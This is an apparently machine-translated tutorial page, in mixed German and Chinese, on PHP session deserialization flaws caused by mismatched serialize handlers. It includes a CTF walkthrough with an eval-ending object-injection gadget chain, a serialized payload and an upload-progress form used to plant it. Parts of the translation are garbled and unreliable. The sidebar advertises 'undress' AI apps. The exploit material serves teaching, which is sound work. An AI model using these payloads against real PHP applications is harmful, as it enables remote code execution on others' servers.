Sitzungsdeserialisierungsmechanismus in PHP
Einführung
Es gibt drei Konfigurationselemente in php.ini:
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
Die oben genannten Optionen beziehen sich auf die Sitzungsspeicherung und die Sequenzspeicherung in PHP.
Bei der Installation mit der xampp-Komponente werden die oben genannten Konfigurationselemente wie folgt festgelegt:
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
In der obigen Konfiguration wird session.serialize_handler verwendet, um die Serialisierungs-Engine der Sitzung festzulegen Neben der Standard-PHP-Engine gibt es noch andere Engines, und die den verschiedenen Engines entsprechenden Sitzungen werden auf unterschiedliche Weise gespeichert.
php_binary: Die Speichermethode besteht aus dem ASCII-Zeichen, das der Länge des Schlüsselnamens + dem Schlüsselnamen + dem durch die Funktion serialize() serialisierten Wert
entspricht php: Die Speichermethode ist: Tastenname + vertikaler Balken + Wert, der durch die Funktionssequenz serialize() verarbeitet wird
php_serialize(php>5.5.4): Der Speicher Methode ist, nach der Serialisierung Der von () verarbeitete Wert verwendet standardmäßig die PHP-Engine in PHP. Wenn Sie sie in eine andere Engine ändern möchten, müssen Sie nur die hinzufügen Code ini_set('session.serialize_handler', 'Engine, die eingestellt werden muss');. Der Beispielcode lautet wie folgt:
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); // do something
Die gespeicherte Datei ist nach sess_sessionid benannt und der Inhalt der Datei ist der Inhalt nach der Sequenz des Sitzungswerts.
Angenommen, dass unsere Umgebung xampp ist, ist die Standardkonfiguration wie oben.
In der Standardkonfiguration:
Die letzte Sitzung wird wie folgt gespeichert und angezeigt:<?php session_start() $_SESSION['name'] = 'spoock'; var_dump(); ?>
Unter der php_serialize-Engine:
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
<?php ini_set('session.serialize_handler', 'php_binary'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
test.php
Die eingehenden Parameter werden in Zeile 11 serialisiert. Wir können eine bestimmte Zeichenfolge übergeben, sie in ein Beispiel von Syclover deserialisieren und dann die Methode eval() ausführen. Wir besuchen localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}. Dann lautet der durch Deserialisierung erhaltene Inhalt:
?php class syclover{ var $func=""; function __construct() { $this->func = "phpinfo()"; } function __wakeup(){ eval($this->func); } } unserialize($_GET['a']); ?>
object(syclover)[1] public 'func' => string 'echo "spoock";' (length=14)
Serialisierungsrisiken in PHP Session
Es gibt kein Problem bei der Implementierung von Session in PHP. Die Hauptrisiken werden verursacht durch unsachgemäße Verwendung von Session durch Programmierer.
Wenn sich die von PHP zum Deserialisieren der gespeicherten $_SESSION-Daten verwendete Engine von der für die Serialisierung verwendeten Engine unterscheidet, werden die Daten nicht korrekt deserialisiert. Durch sorgfältig zusammengestellte Datenpakete ist es möglich, die Programmüberprüfung zu umgehen oder einige Systemmethoden auszuführen. Zum Beispiel:
Die oben genannten $_SESSION-Daten verwenden php_serialize, dann ist der endgültig gespeicherte Inhalt a:1:{s:6:"spoock";s:24:"|O:11: " PeopleClass":0:{}";}. Aber als wir gelesen haben, haben wir PHP ausgewählt, daher lautet der letzte gelesene Inhalt:$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';
array (size=1) 'a:1:{s:6:"spoock";s:24:"' => object(__PHP_Incomplete_Class)[1] public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)
existiert s1.php und us2.php. Die von den beiden Dateien verwendeten SESSION-Engines sind unterschiedlich, was zu einer Sicherheitslücke führt.
s1.php, verwenden Sie php_serialize, um die Sitzung zu verarbeiten us2.php, verwenden Sie PHP, um die Sitzung zu verarbeiten.
Übermitteln Sie beim Zugriff auf s1.php die folgenden Daten:Die eingehenden Daten werden gemäß php_serialize serialisiert >
Beim Zugriff auf us2.php hat Spoock die von uns erstellte Funktion erfolgreich ausgeführt. Bei Verwendung von PHP deserialisiert das Programm die Daten in SESSION. Zu diesem Zeitpunkt werden die gefälschten Daten deserialisiert Das Zitronenobjekt wird instanziiert und schließlich wird die eval()-Methode im Destruktor ausgeführt ><?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["spoock"]=$_GET["a"];
在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
class.php
<?php highlight_string(file_get_contents(basename($_SERVER['PHP_SELF']))); //show_source(__FILE__); class foo1{ public $varr; function __construct(){ $this->varr = "index.php"; } function __destruct(){ if(file_exists($this->varr)){ echo "<br>文件".$this->varr."存在<br>"; } echo "<br>这是foo1的析构函数<br>"; } } class foo2{ public $varr; public $obj; function __construct(){ $this->varr = '1234567890'; $this->obj = null; } function __toString(){ $this->obj->execute(); return $this->varr; } function __desctuct(){ echo "<br>这是foo2的析构函数<br>"; } } class foo3{ public $varr; function execute(){ eval($this->varr); } function __desctuct(){ echo "<br>这是foo3的析构函数<br>"; } } ?>
index.php
<?php ini_set('session.serialize_handler', 'php'); require("./class.php"); session_start(); $obj = new foo1(); $obj->varr = "phpinfo.php"; ?>
通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php
<?php class foo3{ public $varr='echo "spoock";'; function execute(){ eval($this->varr); } } class foo2{ public $varr; public $obj; function __construct(){ $this->varr = '1234567890'; $this->obj = new foo3(); } function __toString(){ $this->obj->execute(); return $this->varr; } } class foo1{ public $varr; function __construct(){ $this->varr = new foo2(); } } $obj = new foo1(); print_r(serialize($obj)); ?>
在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:
<form action="index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
那么最终写入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}。注意与本地反序列化不一样的地方是要在最前方加上|
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。
总结
通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。
以上就是PHP 中 Session 反序列化机制的内容,更多相关内容请关注PHP中文网(www.php.cn)!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

Video Face Swap
Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen





PHP 8.4 bringt mehrere neue Funktionen, Sicherheitsverbesserungen und Leistungsverbesserungen mit einer beträchtlichen Menge an veralteten und entfernten Funktionen. In dieser Anleitung wird erklärt, wie Sie PHP 8.4 installieren oder auf PHP 8.4 auf Ubuntu, Debian oder deren Derivaten aktualisieren. Obwohl es möglich ist, PHP aus dem Quellcode zu kompilieren, ist die Installation aus einem APT-Repository wie unten erläutert oft schneller und sicherer, da diese Repositorys in Zukunft die neuesten Fehlerbehebungen und Sicherheitsupdates bereitstellen.

Wenn Sie ein erfahrener PHP-Entwickler sind, haben Sie möglicherweise das Gefühl, dass Sie dort waren und dies bereits getan haben. Sie haben eine beträchtliche Anzahl von Anwendungen entwickelt, Millionen von Codezeilen debuggt und eine Reihe von Skripten optimiert, um op zu erreichen

Visual Studio Code, auch bekannt als VS Code, ist ein kostenloser Quellcode-Editor – oder eine integrierte Entwicklungsumgebung (IDE) –, die für alle gängigen Betriebssysteme verfügbar ist. Mit einer großen Sammlung von Erweiterungen für viele Programmiersprachen kann VS Code c

JWT ist ein offener Standard, der auf JSON basiert und zur sicheren Übertragung von Informationen zwischen Parteien verwendet wird, hauptsächlich für die Identitätsauthentifizierung und den Informationsaustausch. 1. JWT besteht aus drei Teilen: Header, Nutzlast und Signatur. 2. Das Arbeitsprinzip von JWT enthält drei Schritte: Generierung von JWT, Überprüfung von JWT und Parsingnayload. 3. Bei Verwendung von JWT zur Authentifizierung in PHP kann JWT generiert und überprüft werden, und die Funktionen und Berechtigungsinformationen der Benutzer können in die erweiterte Verwendung aufgenommen werden. 4. Häufige Fehler sind Signaturüberprüfungsfehler, Token -Ablauf und übergroße Nutzlast. Zu Debugging -Fähigkeiten gehört die Verwendung von Debugging -Tools und Protokollierung. 5. Leistungsoptimierung und Best Practices umfassen die Verwendung geeigneter Signaturalgorithmen, das Einstellen von Gültigkeitsperioden angemessen.

Dieses Tutorial zeigt, wie XML -Dokumente mit PHP effizient verarbeitet werden. XML (Extensible Markup-Sprache) ist eine vielseitige textbasierte Markup-Sprache, die sowohl für die Lesbarkeit des Menschen als auch für die Analyse von Maschinen entwickelt wurde. Es wird üblicherweise für die Datenspeicherung ein verwendet und wird häufig verwendet

Eine Zeichenfolge ist eine Folge von Zeichen, einschließlich Buchstaben, Zahlen und Symbolen. In diesem Tutorial wird lernen, wie Sie die Anzahl der Vokale in einer bestimmten Zeichenfolge in PHP unter Verwendung verschiedener Methoden berechnen. Die Vokale auf Englisch sind a, e, i, o, u und sie können Großbuchstaben oder Kleinbuchstaben sein. Was ist ein Vokal? Vokale sind alphabetische Zeichen, die eine spezifische Aussprache darstellen. Es gibt fünf Vokale in Englisch, einschließlich Großbuchstaben und Kleinbuchstaben: a, e, ich, o, u Beispiel 1 Eingabe: String = "TutorialPoint" Ausgabe: 6 erklären Die Vokale in der String "TutorialPoint" sind u, o, i, a, o, ich. Insgesamt gibt es 6 Yuan

Statische Bindung (statisch: :) implementiert die späte statische Bindung (LSB) in PHP, sodass das Aufrufen von Klassen in statischen Kontexten anstatt Klassen zu definieren. 1) Der Analyseprozess wird zur Laufzeit durchgeführt.

Was sind die magischen Methoden von PHP? Zu den magischen Methoden von PHP gehören: 1. \ _ \ _ Konstrukt, verwendet, um Objekte zu initialisieren; 2. \ _ \ _ Destruct, verwendet zur Reinigung von Ressourcen; 3. \ _ \ _ Call, behandeln Sie nicht existierende Methodenaufrufe; 4. \ _ \ _ GET, Implementieren Sie den dynamischen Attributzugriff; 5. \ _ \ _ Setzen Sie dynamische Attributeinstellungen. Diese Methoden werden in bestimmten Situationen automatisch aufgerufen, wodurch die Code -Flexibilität und -Effizienz verbessert werden.
